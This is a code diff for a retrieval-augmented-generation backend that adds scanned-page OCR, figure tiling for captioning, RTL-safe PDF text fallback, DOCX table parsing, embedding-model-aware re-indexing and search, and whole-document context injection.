-        if config.CAPTION_IMAGES and stored_path.lower().endswith(".pdf"):
-            # Caption figures, splice into page text (no-op without a vision model).
+        is_pdf = stored_path.lower().endswith(".pdf")
+        ocred: set[int] = set()
+        if is_pdf:
+            pages, ocred = _ocr_scanned_pages(pages, stored_path, conn, job_id, ocr = ocr)
+        caption_on = config.CAPTION_IMAGES if caption is None else caption
+        # Skip all figure work (PDF rasterization included) without a vision model.
+        if caption_on and is_pdf and captioner.vision_endpoint() is not None:
+            # Tile figure pages, transcribe+describe each tile, then merge/dedup/splice
+            # into the page text so small labels and every sub-figure are captured.
             try:
-                figures = parsers.render_pdf_figures(
-                    stored_path, max_figures = config.CAPTION_MAX_IMAGES
+                fig_pages = parsers.pages_with_figures(
+                    stored_path,
+                    max_pages = config.CAPTION_MAX_PAGES,
+                    # Skip only pages OCR actually transcribed (it covers them whole); a
+                    # scanned figure page past the OCR cap or with empty OCR still tiles.
+                    exclude_pages = ocred,
+                )
+                tiles = (
+                    parsers.render_pdf_figure_tiles(
+                        stored_path,
+                        fig_pages,
+                        dpi = config.FIGURE_DPI,
+                        rows = config.FIGURE_TILE_ROWS,
+                        cols = config.FIGURE_TILE_COLS,
+                        overlap = config.FIGURE_TILE_OVERLAP,
+                        fullpage = config.FIGURE_FULLPAGE,
+                        max_tiles = config.CAPTION_MAX_IMAGES,
+                    )
+                    if fig_pages
+                    else []
                 )
             except Exception:
-                logger.warning("figure rendering failed for job %s", job_id, exc_info = True)
-                figures = []
-            if figures:
-                _progress(conn, job_id, "captioning", 0.2)
-                captions = captioner.caption_images(figures)
+                logger.warning("figure tiling failed for job %s", job_id, exc_info = True)
+                tiles = []
+            if tiles:
+                _progress(conn, job_id, "captioning", 0.28)
+                captions = captioner.merge_page_captions(captioner.caption_images(tiles))
                 pages = captioner.splice_captions(pages, captions)
 
         _progress(conn, job_id, "chunking", 0.3)
@@ -125,6 +227,7 @@ def _run(
         )
         if not chunks:
             store.set_document_status(conn, document_id, "completed", num_chunks = 0)
+            _replace_old_document(conn, replaces, stored_path)
             _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
             _emit(job_id, {"type": "complete", "num_chunks": 0})
             return
@@ -145,6 +248,7 @@ def _run(
         _progress(conn, job_id, "storing", 0.9)
         store.add_chunks(conn, scope, document_id, chunks, vectors, regions)
         store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks))
+        _replace_old_document(conn, replaces, stored_path)
 
         _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0)
         _emit(job_id, {"type": "complete", "num_chunks": len(chunks)})
@@ -170,6 +274,8 @@ def start_ingestion(
     *,
     project_id: str | None = None,
     model_name: str | None = None,
+    ocr: bool | None = None,
+    caption: bool | None = None,
 ) -> tuple[str, str]:
     """Create the document + job rows and spawn the worker, returning
     ``(document_id, job_id)``. A duplicate content hash in this scope returns the
@@ -178,18 +284,49 @@ def start_ingestion(
     if ext not in config.UPLOAD_EXTS:
         raise ValueError(f"unsupported file type: {ext}")
 
+    # Reclaim queues for finished jobs so the registry stays bounded.
+    _reap_finished_jobs()
+
     sha = _sha256_file(stored_path)
     conn = rag_db.get_connection()
     try:
+        effective_model = model_name or config.effective_embedding_model()
+        # (old_document_id, old_stored_path) replaced by this upload; deleted by
+        # the worker only after the replacement completes, so a failed re-index
+        # never destroys the still-searchable original.
+        replaces: tuple[str, str | None] | None = None
         existing = store.document_by_hash(conn, scope, sha)
         if existing is not None:
-            job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
-            _remove_upload(stored_path)
-            with _jobs_lock:
-                _jobs[job_id] = queue.Queue()
-            _emit(job_id, {"type": "complete", "num_chunks": 0, "deduped": True})
-            _emit(job_id, None)
-            return existing, job_id
+            doc = store.get_document(conn, existing)
+            empty_completed = (
+                doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks")
+            )
+            # Vectors from a different embedder are stale; re-uploading must
+            # re-index, not dedupe. NULL (legacy rows) is assumed current. Only
+            # completed rows are replaceable: a pending/running duplicate has a
+            # live worker whose writes must not land on a deleted document.
+            stale_model = (
+                doc is not None
+                and doc.get("status") == "completed"
+                and doc.get("embedding_model") is not None
+                and doc.get("embedding_model") != effective_model
+            )
+            if empty_completed or stale_model:
+                # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned
+                # PDF uploaded before a vision model loaded), or was embedded with a
+                # different model. Re-ingest, don't dedupe.
+                replaces = (existing, doc.get("stored_path"))
+            else:
+                job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0)
+                _remove_upload(stored_path)
+                with _jobs_lock:
+                    _jobs[job_id] = queue.Queue()
+                _emit(
+                    job_id,
+                    {"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True},
+                )
+                _emit(job_id, None)
+                return existing, job_id
         for failed in store.failed_documents_by_hash(conn, scope, sha):
             store.delete_document(conn, failed["id"])
             _remove_upload(failed.get("stored_path"), keep_path = stored_path)
@@ -204,6 +341,7 @@ def start_ingestion(
             project_id = project_id,
             status = "pending",
             stored_path = stored_path,
+            embedding_model = effective_model,
         )
         job_id = _new_job(conn, document_id, scope)
     finally:
@@ -213,7 +351,10 @@ def start_ingestion(
         _jobs[job_id] = queue.Queue()
     threading.Thread(
         target = _run,
-        args = (job_id, document_id, scope, stored_path, model_name),
+        # effective_model (not the raw model_name) pins the embedder for the
+        # whole job: a Settings change mid-ingestion must not switch tokenizer
+        # or embedder between batches of one document.
+        args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces),
         daemon = True,
     ).start()
     return document_id, job_id
@@ -248,26 +389,99 @@ def _new_job(
     return job_id
 
 
+def _reap_finished_jobs() -> None:
+    """Drop per-job queues whose DB row already reached a terminal status.
+
+    Otherwise removed only by ``job_events`` after the ``None`` sentinel, so a
+    caller that polls ``/jobs/{id}`` instead of streaming would grow ``_jobs``
+    forever. Safe while streaming: ``job_events`` holds its queue reference.
+    """
+    with _jobs_lock:
+        job_ids = list(_jobs.keys())
+    for jid in job_ids:
+        row = get_job_status(jid)
+        if row is not None and row.get("status") in _TERMINAL_JOB_STATUSES:
+            with _jobs_lock:
+                _jobs.pop(jid, None)
+
+
 def job_events(job_id: str):
-    """Yield job events for SSE; ends when the worker signals completion."""
+    """Yield job events for SSE; ends when the worker signals completion.
+
+    Timed ``get`` so the generator can't block forever: it wakes to heartbeat,
+    to notice a disconnected client, and to stop on a terminal DB status (a hard
+    worker death that skipped the ``None`` sentinel). Drops the queue only on a
+    terminal exit, never on an early client disconnect.
+
+    It deliberately does *not* end on idle alone: a long silent stage (e.g.
+    embedding a large doc) is not a failure, and ending there would send
+    ``[DONE]`` with the row still pending, which the client treats as completion.
+    The stream ends only on a terminal status, the ``None`` sentinel, or disconnect.
+    """
     with _jobs_lock:
         q = _jobs.get(job_id)
     if q is None:
         return
-    while True:
-        event = q.get()
-        if event is None:
-            break
-        yield event
-    with _jobs_lock:
-        _jobs.pop(job_id, None)
+    terminal = False
+    try:
+        while True:
+            try:
+                event = q.get(timeout = _SSE_POLL_SECONDS)
+            except queue.Empty:
+                try:
+                    row = get_job_status(job_id)
+                except Exception:  # noqa: BLE001
+                    # A transient status read (e.g. the DB momentarily locked) must
+                    # not abort the stream: routes/rag.py would turn the raised
+                    # exception into a terminal {type: error} frame and the UI would
+                    # drop a document whose worker is still running. Heartbeat and
+                    # retry on the next poll instead.
+                    logger.warning(
+                        "job_events status read failed for %s; continuing", job_id, exc_info = True
+                    )
+                    yield {"type": "heartbeat"}
+                    continue
+                if row is None or row.get("status") in _TERMINAL_JOB_STATUSES:
+                    # Worker finished (or row gone); stop and let the client reconcile via getJob.
+                    terminal = True
+                    break
+                yield {"type": "heartbeat"}
+                continue
+            if event is None:
+                terminal = True
+                break
+            yield event
+    finally:
+        # Drop the queue once nothing more will be emitted into it: either a
+        # terminal exit, or a disconnect after the job already finished (the UI
+        # stops on the terminal event, before [DONE], so terminal is still False
+        # here -- _run writes the terminal DB status before emitting it). Keep it
+        # only while the worker is still running, so an early disconnect can
+        # reconnect and resume its events.
+        if not terminal:
+            try:
+                row = get_job_status(job_id)
+                terminal = row is None or row.get("status") in _TERMINAL_JOB_STATUSES
+            except Exception:  # noqa: BLE001
+                # Can't confirm terminality (transient DB error) -- keep the queue so
+                # a reconnect can resume rather than orphaning a live worker's events.
+                terminal = False
+        if terminal:
+            with _jobs_lock:
+                _jobs.pop(job_id, None)
 
 
 def get_job_status(job_id: str) -> dict | None:
-    """Read the persisted ingestion job row (status / stage / progress / error)."""
+    """Read the persisted ingestion job row (status / stage / progress / error), plus
+    the document's ``num_chunks`` so a client polling to completion learns the chunk
+    count (the SSE ``complete`` frame carries it, but the poll/reconcile path does not)."""
     conn = rag_db.get_connection()
     try:
-        row = conn.execute("SELECT * FROM ingestion_jobs WHERE id=?", (job_id,)).fetchone()
+        row = conn.execute(
+            "SELECT j.*, d.num_chunks AS num_chunks FROM ingestion_jobs j "
+            "LEFT JOIN documents d ON d.id = j.document_id WHERE j.id=?",
+            (job_id,),
+        ).fetchone()
         return dict(row) if row else None
     finally:
         conn.close()
diff --git a/studio/backend/core/rag/locators.py b/studio/backend/core/rag/locators.py
index 57c0487486..9331bb15ac 100644
--- a/studio/backend/core/rag/locators.py
+++ b/studio/backend/core/rag/locators.py
@@ -39,9 +39,11 @@ def _norm_token(token: str) -> str:
 
 def _anchor_tokens(page_text: str, match: LocatorMatch) -> list[str]:
     """Normalized anchor tokens from the chunk's leading span. Drops first and last
-    token (boundaries often slice mid-word) when long enough."""
+    token (boundaries often slice mid-word) when long enough. Pipes are split out so
+    Markdown table cells (``|Q1|$1.2M|``) become individual words that match the PDF
+    word stream."""
     segment = page_text[match.start : match.end]
-    raw = segment.split()
+    raw = segment.replace("|", " ").split()
     if len(raw) >= MIN_ANCHOR_WORDS + 2:
         raw = raw[1:-1]
     tokens = [t for t in (_norm_token(w) for w in raw) if t]
diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py
index 84da941762..9afddf1d9e 100644
--- a/studio/backend/core/rag/parsers.py
+++ b/studio/backend/core/rag/parsers.py
@@ -12,9 +12,12 @@ from __future__ import annotations
 
 import logging
 import os
+import re
 from dataclasses import dataclass
 from html.parser import HTMLParser
 
+from . import config
+
 logger = logging.getLogger(__name__)
 
 
@@ -67,6 +70,61 @@ def _html(raw: str) -> list[Page]:
     return [_page("\n".join(parser.out), 1)]
 
 
+# pymupdf4llm rebuilds text from positioned glyphs, which mangles complex-shaping
+# scripts (RTL Arabic/Hebrew emerge as shaped Presentation Forms, Indic matras drop to
+# U+FFFD) and can silently drop most of a heavy-RTL page. When Markdown trips these
+# signals we fall back to PyMuPDF's logical-order get_text(). Thresholds mirror the chat
+# extractor guard (unslothai/unsloth#5351 review).
+_SHAPED_PRESENTATION_FORMS = re.compile("[\ufb1d-\ufdff\ufe70-\ufefc]")
+_PDF_FALLBACK_MIN_BAD_GLYPHS = 5
+_PDF_FALLBACK_BAD_GLYPH_RATIO = 0.0005
+_PDF_INCOMPLETE_RATIO = 0.75
+_PDF_INCOMPLETE_MIN_LETTERS = 200
+
+
+def _markdown_corrupted(text: str) -> bool:
+    """True when pymupdf4llm's glyph reconstruction mangled the text: shaped RTL
+    Presentation Forms or U+FFFD replacements above a small floor/ratio (so a lone
+    legitimate shaped glyph does not force the fallback)."""
+    if not text:
+        return False
+    threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text))
+    shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text))
+    return shaped > threshold or text.count("\ufffd") > threshold
+
+
+def _markdown_incomplete(markdown: str, plain: str) -> bool:
+    """True when ``markdown`` holds far fewer letters than the raw ``get_text`` layer -- a
+    coarse guard for heavy-RTL pages pymupdf4llm silently drops without shaped glyphs."""
+    plain_letters = sum(1 for c in plain if c.isalnum())
+    if plain_letters < _PDF_INCOMPLETE_MIN_LETTERS:
+        return False
+    markdown_letters = sum(1 for c in markdown if c.isalnum())
+    return markdown_letters < _PDF_INCOMPLETE_RATIO * plain_letters
+
+
+def _pdf_markdown(doc) -> list[str] | None:
+    """Per-page layout-aware Markdown (tables, headings, lists) via pymupdf4llm; index
+    i maps to page i+1. Returns None when the lib is missing, extraction fails, or the
+    page count does not line up, so the caller falls back to plain PyMuPDF text."""
+    try:
+        import pymupdf4llm
+    except Exception:
+        return None
+    try:
+        chunks = pymupdf4llm.to_markdown(
+            doc,
+            page_chunks = True,
+            show_progress = False,
+        )
+    except Exception:  # noqa: BLE001 - never let Markdown extraction break ingestion
+        logger.warning("pymupdf4llm extraction failed; using plain text", exc_info = True)
+        return None
+    if not isinstance(chunks, list) or len(chunks) != doc.page_count:
+        return None
+    return [str(c.get("text") or "") for c in chunks]
+
+
 def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
     import fitz  # PyMuPDF
 
@@ -74,8 +132,21 @@ def _pdf(path: str, want_images: bool) -> tuple[list[Page], list[ParsedImage]]:
     images: list[ParsedImage] = []
     doc = fitz.open(path)
     try:
+        md = _pdf_markdown(doc) if config.PDF_MARKDOWN else None
         for i, page in enumerate(doc):
-            text = page.get_text("text") or ""
+            plain = page.get_text("text") or ""
+            candidate = md[i] if md else ""
+            # Prefer layout-aware Markdown (keeps tables/headings legible for retrieval),
+            # but drop to PyMuPDF's logical-order text when Markdown is off/empty or when
+            # pymupdf4llm mangled it (RTL/Indic) or dropped most of the page.
+            if (
+                candidate
+                and not _markdown_corrupted(candidate)
+                and not _markdown_incomplete(candidate, plain)
+            ):
+                text = candidate
+            else:
+                text = plain
             pages.append(_page(text, i + 1))
             if want_images:
                 for img in page.get_images(full = True):
@@ -118,74 +189,224 @@ def _merge_rects(boxes: list) -> list:
     return merged
 
 
-def render_pdf_figures(
-    path: str,
+def _figure_boxes(
+    page,
     *,
-    dpi: int = 130,
     min_area_frac: float = 0.04,
     min_side: float = 40.0,
-    max_figures: int = 8,
-) -> list[ParsedImage]:
-    """Detect figure regions and render each to a PNG for captioning.
+) -> list:
+    """Qualifying figure-region rectangles on a page: cluster vector drawings + raster
+    placements, merge overlaps, keep the page-spanning ones (area/side filtered)."""
+    boxes: list = []
+    try:
+        boxes.extend(info["bbox"] for info in page.get_image_info())
+    except Exception:
+        pass
+    try:
+        boxes.extend(page.cluster_drawings())
+    except Exception:
+        pass
+    if not boxes:
+        return []
+    page_area = page.rect.width * page.rect.height
+    keep: list = []
+    for box in _merge_rects(boxes):
+        if (
+            box.get_area() >= min_area_frac * page_area
+            and box.width >= min_side
+            and box.height >= min_side
+        ):
+            keep.append(box)
+    return keep
 
-    Academic figures are vector, so raster extraction yields fragments; instead
-    cluster vector drawings + raster placements into boxes, keep the page-spanning
-    ones, and render them. Any failure yields [], never an exception.
-    """
+
+def pages_with_figures(
+    path: str,
+    *,
+    max_pages: int = 4,
+    min_area_frac: float = 0.04,
+    min_side: float = 40.0,
+    exclude_pages: set[int] | None = None,
+) -> list[int]:
+    """1-based page numbers with a qualifying figure region, capped at ``max_pages``;
+    drives figure tiling. ``exclude_pages`` (1-based) are skipped: those are the pages
+    OCR already transcribed whole, so tiling them would duplicate the vision work. Any
+    failure yields []."""
+    exclude = exclude_pages or set()
     try:
         import pymupdf
     except Exception:
         return []
-
-    out: list[ParsedImage] = []
     try:
         doc = pymupdf.open(path)
     except Exception:
         return []
+    pages: list[int] = []
     try:
         for i, page in enumerate(doc):
-            boxes: list = []
-            try:
-                boxes.extend(info["bbox"] for info in page.get_image_info())
-            except Exception:
-                pass
-            try:
-                boxes.extend(page.cluster_drawings())
-            except Exception:
-                pass
-            if not boxes:
+            if (i + 1) in exclude:
                 continue
-            page_area = page.rect.width * page.rect.height
-            for box in _merge_rects(boxes):
-                if (
-                    box.get_area() >= min_area_frac * page_area
-                    and box.width >= min_side
-                    and box.height >= min_side
-                ):
-                    try:
-                        pix = page.get_pixmap(dpi = dpi, clip = box)
-                        out.append(
-                            ParsedImage(
-                                image_bytes = pix.tobytes("png"),
-                                page_number = i + 1,
-                                xref = 0,
-                            )
+            if _figure_boxes(page, min_area_frac = min_area_frac, min_side = min_side):
+                pages.append(i + 1)
+                if len(pages) >= max_pages:
+                    break
+        return pages
+    finally:
+        doc.close()
+
+
+def render_pdf_figure_tiles(
+    path: str,
+    page_numbers,
+    *,
+    dpi: int = 200,
+    rows: int = 2,
+    cols: int = 2,
+    overlap: float = 0.12,
+    fullpage: bool = True,
+    max_tiles: int = 24,
+) -> list[ParsedImage]:
+    """Render figure-bearing pages as overlapping high-DPI tiles (plus an optional full
+    page), each a ``ParsedImage`` keyed by page number. Tiling keeps small labels legible
+    and covers every sub-figure without exact region detection. Any failure yields []."""
+    wanted = [int(n) for n in page_numbers]
+    if not wanted:
+        return []
+    rows, cols = max(1, int(rows)), max(1, int(cols))  # never divide by zero
+    try:
+        import pymupdf
+    except Exception:
+        return []
+    try:
+        doc = pymupdf.open(path)
+    except Exception:
+        return []
+    out: list[ParsedImage] = []
+    try:
+        for num in wanted:
+            if num < 1 or num > doc.page_count:
+                continue
+            page = doc[num - 1]
+            rect = page.rect
+            clips: list = [rect] if fullpage else []
+            cw, ch = rect.width / cols, rect.height / rows
+            ox, oy = cw * overlap, ch * overlap
+            for r in range(rows):
+                for c in range(cols):
+                    clips.append(
+                        pymupdf.Rect(
+                            rect.x0 + c * cw - ox,
+                            rect.y0 + r * ch - oy,
+                            rect.x0 + (c + 1) * cw + ox,
+                            rect.y0 + (r + 1) * ch + oy,
                         )
-                    except Exception:
-                        continue
-                    if len(out) >= max_figures:
-                        return out
+                        & rect
+                    )
+            for clip in clips:
+                try:
+                    pix = page.get_pixmap(dpi = dpi, clip = clip)
+                    out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0))
+                except Exception:
+                    continue
+                if len(out) >= max_tiles:
+                    return out
         return out
     finally:
         doc.close()
 
 
+def render_pdf_pages(
+    path: str,
+    page_numbers,
+    *,
+    dpi: int = 150,
+) -> dict[int, bytes]:
+    """Render whole PDF pages (given as 1-based numbers) to PNG bytes, keyed by
+    page number. Backs scanned-page OCR. Any failure yields ``{}`` (or skips that
+    page), never an exception.
+    """
+    wanted = {int(n) for n in page_numbers}
+    if not wanted:
+        return {}
+    try:
+        import pymupdf
+    except Exception:
+        return {}
+    try:
+        doc = pymupdf.open(path)
+    except Exception:
+        return {}
+    out: dict[int, bytes] = {}
+    try:
+        for i, page in enumerate(doc):
+            num = i + 1
+            if num not in wanted:
+                continue
+            try:
+                pix = page.get_pixmap(dpi = dpi)
+                out[num] = pix.tobytes("png")
+            except Exception:
+                continue
+        return out
+    finally:
+        doc.close()
+
+
+def _docx_table_rows(table) -> list[str]:
+    """Each row as pipe-joined cell text (the locator splits anchors on pipes).
+    Columns stay aligned to the layout grid (merged cells fill their spanned slots,
+    skipped leading/trailing grid columns become empty fields). Cells are walked in
+    document order so a nested table, and any text after it, flattens in place."""
+    from docx.table import Table
+    from docx.text.paragraph import Paragraph
+
+    rows: list[str] = []
+    seen: set = set()  # <w:tc> already emitted; dedups merges spanning columns or rows
+    for row in table.rows:
+        cells: list[str] = [""] * getattr(row, "grid_cols_before", 0)
+        trailing: list[str] = []  # nested rows + any post-nested text, kept in order
+        for cell in row.cells:
+            # A merged cell shares one <w:tc> across the columns and rows it spans:
+            # emit its text once, then placeholders, so columns and rows stay aligned.
+            if cell._tc in seen:
+                cells.append("")
+                continue
+            seen.add(cell._tc)
+            # Paragraph text before the first nested table is the aligned field; the
+            # nested table and anything after it flatten below the row, in order.
+            field: list[str] = []
+            after_table = False
+            for item in cell.iter_inner_content():
+                if isinstance(item, Table):
+                    after_table = True
+                    trailing.extend(_docx_table_rows(item))
+                elif isinstance(item, Paragraph):
+                    text = " ".join(item.text.split())  # collapse in-cell newlines
+                    if text:
+                        (trailing if after_table else field).append(text)
+            cells.append(" ".join(field))  # empty cells kept so columns line up
+        cells.extend([""] * getattr(row, "grid_cols_after", 0))
+        if any(c.strip() for c in cells):
+            rows.append(" | ".join(cells))
+        rows.extend(trailing)
+    return rows
+
+
 def _docx(path: str) -> list[Page]:
     import docx
+    from docx.table import Table
+    from docx.text.paragraph import Paragraph
 
     document = docx.Document(path)
-    text = "\n".join(p.text for p in document.paragraphs)
-    return [_page(text, None)]
+    lines: list[str] = []
+    # Walk body content in document order: paragraphs alone drop tables entirely.
+    for block in document.iter_inner_content():
+        if isinstance(block, Paragraph):
+            if block.text.strip():
+                lines.append(block.text)
+        elif isinstance(block, Table):
+            lines.extend(_docx_table_rows(block))
+    return [_page("\n".join(lines), None)]
 
 
 def parse(path: str, *, want_images: bool = False):
diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py
index fe6a033a52..6f933e089e 100644
--- a/studio/backend/core/rag/retrieval.py
+++ b/studio/backend/core/rag/retrieval.py
@@ -39,8 +39,12 @@ def retrieve_dense(
     model_name: str | None = None,
 ) -> list[Hit]:
     k = k or config.TOP_K_DENSE
-    vec = embeddings.encode([query], model_name = model_name, normalize = True)[0]
-    return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)]
+    effective = model_name or config.effective_embedding_model()
+    vec = embeddings.encode([query], model_name = effective, normalize = True)[0]
+    return [
+        Hit(cid, s, dense_score = s)
+        for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective)
+    ]
 
 
 def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]:
diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py
index 7d58931e53..f9128d1715 100644
--- a/studio/backend/core/rag/store.py
+++ b/studio/backend/core/rag/store.py
@@ -109,11 +109,12 @@ def create_document(
     status: str = "pending",
     stored_path: str | None = None,
     document_id: str | None = None,
+    embedding_model: str | None = None,
 ) -> str:
     document_id = document_id or str(uuid.uuid4())
     conn.execute(
         "INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, "
-        "status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)",
+        "status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
         (
             document_id,
             scope,
@@ -125,6 +126,7 @@ def create_document(
             status,
             stored_path,
             _now(),
+            embedding_model,
         ),
     )
     conn.commit()
@@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int):
     return [(r["chunk_id"], -r["s"]) for r in rows]
 
 
-def search_dense(conn: sqlite3.Connection, scope, vector, k: int):
+def search_dense(
+    conn: sqlite3.Connection,
+    scope,
+    vector,
+    k: int,
+    *,
+    embedding_model: str | None = None,
+):
     """Cosine KNN over vec0 for one scope or several. Returns
     [(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by
-    equality, so multi-scope runs one query per scope and merges by score."""
+    equality, so multi-scope runs one query per scope and merges by score.
+    ``embedding_model`` drops hits from documents indexed under a different
+    (same-width) model, whose vectors live in another space; NULL-model legacy
+    documents are assumed current, matching the ingestion dedupe rule."""
     if not rag_db.vec_table_exists(conn):
         return []
+    dim = rag_db.vec_table_dim(conn)
+    if dim is not None and dim != len(vector):
+        # Embedding model switched widths and nothing re-indexed yet; the stale
+        # table cannot answer new-model queries (vec0 errors on the MATCH).
+        return []
+    # Over-fetch when filtering so stale-model hits don't starve the top-k.
+    fetch = k * 3 if embedding_model else k
     out: list[tuple[str, float]] = []
     for s in _scopes(scope):
         rows = conn.execute(
             "SELECT chunk_id, distance FROM chunks_vec "
             "WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?",
-            (s, _f32(vector), k),
+            (s, _f32(vector), fetch),
         ).fetchall()
         out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows)
+    if embedding_model and out:
+        ids = [cid for cid, _ in out]
+        placeholders = ",".join("?" * len(ids))
+        valid = {
+            r["id"]
+            for r in conn.execute(
+                f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id "
+                f"WHERE c.id IN ({placeholders}) "
+                f"AND (d.embedding_model IS NULL OR d.embedding_model=?)",
+                (*ids, embedding_model),
+            ).fetchall()
+        }
+        out = [t for t in out if t[0] in valid]
     out.sort(key = lambda t: t[1], reverse = True)
     return out[:k]
 
@@ -292,3 +324,40 @@ def chunks_by_id(conn: sqlite3.Connection, ids) -> dict:
         list(ids),
     ).fetchall()
     return {r["id"]: r for r in rows}
+
+
+def all_chunks_for_scope(conn: sqlite3.Connection, scope) -> list[dict]:
+    """Every completed-document chunk for a scope, ordered document-then-index and
+    joined with the document filename. Backs whole-document context injection, so
+    it does no retrieval or embedding."""
+    scopes = _scopes(scope)
+    if not scopes:
+        return []
+    placeholders = ",".join("?" * len(scopes))
+    rows = conn.execute(
+        f"SELECT c.id, c.text, c.document_id, c.chunk_index, c.page_number, "
+        f"c.token_count, d.filename, d.created_at "
+        f"FROM chunks c JOIN documents d ON d.id=c.document_id "
+        f"WHERE c.scope IN ({placeholders}) AND d.status='completed' "
+        f"ORDER BY d.created_at, c.document_id, c.chunk_index",
+        list(scopes),
+    ).fetchall()
+    return [dict(r) for r in rows]
+
+
+def scope_token_estimate(conn: sqlite3.Connection, scope) -> int:
+    """Upper-bound token total for a scope's completed chunks without hydrating text.
+    Mirrors ``all_chunks_for_scope`` + the ``tool._row_token_count`` fallback (stored
+    count, else length/4), so the whole-doc budget can be checked before loading text."""
+    scopes = _scopes(scope)
+    if not scopes:
+        return 0
+    placeholders = ",".join("?" * len(scopes))
+    row = conn.execute(
+        f"SELECT COALESCE(SUM(CASE WHEN c.token_count > 0 THEN c.token_count "
+        f"ELSE MAX(1, length(COALESCE(c.text, '')) / 4) END), 0) AS total "
+        f"FROM chunks c JOIN documents d ON d.id=c.document_id "
+        f"WHERE c.scope IN ({placeholders}) AND d.status='completed'",
+        list(scopes),
+    ).fetchone()
+    return int(row["total"] or 0)
diff --git a/studio/backend/core/rag/tool.py b/studio/backend/core/rag/tool.py
index ccb1b47e63..b05f8dd3a3 100644
--- a/studio/backend/core/rag/tool.py
+++ b/studio/backend/core/rag/tool.py
@@ -16,7 +16,13 @@ from xml.sax.saxutils import quoteattr
 from storage import rag_db
 
 from . import config, retrieval
-from .store import kb_scope, project_scope, thread_scope
+from .store import (
+    all_chunks_for_scope,
+    kb_scope,
+    project_scope,
+    scope_token_estimate,
+    thread_scope,
+)
 
 SEARCH_KNOWLEDGE_BASE_TOOL = {
     "type": "function",
@@ -90,6 +96,30 @@ def _format(rows, hits) -> tuple[str, list[dict]]:
     return "\n\n".join(blocks), sources
 
 
+def render_sources(sources: list[dict]) -> str:
+    """Render a citation-source list to sequentially-numbered ``<chunk>`` blocks,
+    rewriting each source's ``citationId`` to match its 1-based position. Lets
+    independently-built source lists (a whole-document thread attachment plus
+    retrieved project passages) be merged under one citation numbering."""
+    blocks: list[str] = []
+    for i, s in enumerate(sources, 1):
+        s["citationId"] = i
+        src = quoteattr(s.get("filename") or "unknown")
+        page = s.get("page")
+        page_attr = f" page={quoteattr(str(page))}" if page else ""
+        blocks.append(f'<chunk id="{i}" source={src}{page_attr}>\n{s.get("text") or ""}\n</chunk>')
+    return "\n\n".join(blocks)
+
+
+def _row_token_count(row) -> int:
+    """Chunk token count for budgeting, falling back to a length estimate when the
+    stored count is missing or zero, so a malformed chunk cannot bypass the budget."""
+    tc = row["token_count"]
+    if tc:
+        return int(tc)
+    return max(1, len(row["text"] or "") // 4)
+
+
 def search_knowledge_base_with_sources(
     *,
     query: str,
@@ -186,6 +216,55 @@ def search_for_autoinject(
     return (text, sources) if sources else None
 
 
+def whole_document_context(
+    *, scope_thread_id: str | None = None, max_tokens: int
+) -> tuple[str, list[dict]] | None:
+    """Render EVERY chunk of the THREAD's attached documents (in order) as the same
+    ``<chunk>`` blocks + citation source-map as retrieval, so the model reads the whole
+    file rather than top-K passages. Thread-attached files only: KB and project corpora
+    are search corpora, never whole-document, so this resolves the thread scope alone.
+    ``None`` (caller falls back to retrieval) when there is no thread scope, no completed
+    chunks, or the total exceeds ``max_tokens``."""
+    if not scope_thread_id:
+        return None
+    # A non-positive budget means "never inject" (disable whole-doc via
+    # RAG_THREAD_WHOLE_DOC=0), not "inject the whole corpus unbounded".
+    if max_tokens <= 0:
+        return None
+    scope = thread_scope(scope_thread_id)
+    conn = rag_db.get_connection()
+    try:
+        # Cheap budget pre-check (SUM, no text hydration): reject an oversized attachment
+        # before loading the whole corpus; all_chunks_for_scope runs only once it fits.
+        if scope_token_estimate(conn, scope) > max_tokens:
+            return None
+        rows = all_chunks_for_scope(conn, scope)
+    finally:
+        conn.close()
+    if not rows:
+        return None
+    total = sum(_row_token_count(r) for r in rows)
+    if total > max_tokens:
+        return None
+
+    sources: list[dict] = [
+        {
+            "citationId": i,
+            "chunkId": r["id"],
+            "documentId": r["document_id"],
+            "filename": r["filename"] or "unknown",
+            "page": r["page_number"],
+            "text": r["text"] or "",
+            "score": None,
+        }
+        for i, r in enumerate(rows, 1)
+    ]
+    rendered = render_sources(sources)
+    if max(1, len(rendered) // 4) > max_tokens:
+        return None
+    return rendered, sources
+
+
 def search_knowledge_base(
     *,
     query: str,
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index 973520d5cd..1b6b05768a 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -1,160 +1,1077 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+#
+# Bracket-tag, rehearsal, and thinking-block-strip logic adapted from forge
+# (https://github.com/antoinezambelli/forge), Copyright (c) 2025-2026
+# Antoine Zambelli, used under the MIT License.
 
